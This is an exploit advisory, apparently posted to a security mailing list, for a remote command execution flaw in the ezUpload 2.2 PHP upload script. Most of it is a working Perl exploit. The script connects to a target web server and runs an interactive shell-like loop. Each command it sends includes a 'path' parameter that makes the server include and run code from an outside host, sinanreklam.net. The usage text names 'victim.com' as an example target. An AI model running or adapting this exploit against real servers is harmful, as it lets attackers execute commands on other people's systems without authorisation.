[EXPL] ezUpload path Parameter Command Execution (Exploit)

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  ezUpload path Parameter Command Execution (Exploit)
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SUMMARY

 <http://www.ezupload.org/> ezUpload is a PHP script that allow web sites 
to manage upload files.

Due to improper validation of user provided input by ezUpload remote 
attackers can cause the program to execute arbitrary code, the following 
exploit code can be used to test your system for the mentioned 
vulnerability.

DETAILS

Vulnerable Systems:
 * EzUpload version 2.2

Exploit:
#!/usr/bin/perl
#__________
#\______   \ ____   __| _/ \______ \____________     ____   ____   ____
# |       _// __ \ / __ |   |    |  \_  __ \__  \   / ___\ /  _ \ /    \
# |    |   \  ___// /_/ |   |    `   \  | \// __ \_/ /_/  >  <_> )   |  \
# |____|_  /\___  >____ |  /_______  /__|  (____  /\___  / \____/|___|  /
#        \/     \/     \/          \/           \//_____/             \/
# Bug Discovered By Johnnie Walker <whisky at bsdmail.org>
# credits to ATmaCa.....oh no I forgot I ain't kozan so atmaca no credits 
to u
# Greets: sirh0t , siLgi , Elisabeth And Her Bf Mattias
# Red Dragon: Nightmare . Johnnie Walker . 3rbil
# f0rtcu We Never f0rget You

use IO::Socket;

if ($ARGV[0] && $ARGV[1])
{
 $host = $ARGV[0];
 $path = $ARGV[1];
 $target = $ARGV[2];

 $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", 
PeerPort => "80") || die "Can't connect!\r\n";
 while (1) {
    print 'RedDrag0n@'.$host.'$ ';
    $cmd = <STDIN>;

    if ($target == 2) {
    $file = "initialize.php?path=http://sinanreklam.net/banner.gif?cmd=";
    } elsif ($target == 3) {
    $file = "customize.php?path=http://sinanreklam.net/banner.gif?cmd=";
    } elsif ($target == 4) {
    $file = "form.php?path=http://sinanreklam.net/banner.gif?cmd=";
    } else {
    $file = "index.php?path=http://sinanreklam.net/banner.gif?cmd=";
    }
    chop($cmd);
    last if ($cmd eq 'exit');
    print $sock "GET ".$path.$file.$cmd." HTTP/1.1\r\nHost: 
".$host."\r\nConnection: Keep-Alive\r\n\r\n";
    $vuln=0;
    while ($ans = <$sock>)
       {
        if ($vuln == 1) { print "$ans"; }
        last if ($ans =~ /^_end_/);
        if ($ans =~ /^_begin_/) { $vuln = 1; }
       }
      if ($vuln == 0) {print "Exploit Failed :(\r\n";exit();}
   }
 }
else {
 print "EzUpload 2.2 Remote Command Execution\r\n\r\n";
 print "Target files : \r\n\r\n";
 print "1 index.php (default)\r\n";
 print "2 initialize.php\r\n";
 print "3 customize.php\r\n";
 print "4 form.php\r\n\r\n";
 print "Usage: perl $0 <host> <path_to_ezupload> [target_nr] \r\n\r\n";
 print "Example: perl $0 victim.com /ezupload/ 2 \r\n";
exit;
}
#EoF


ADDITIONAL INFORMATION

The information has been provided by  <mailto:whisky@bsdmail.org> Batur 
Binbash.



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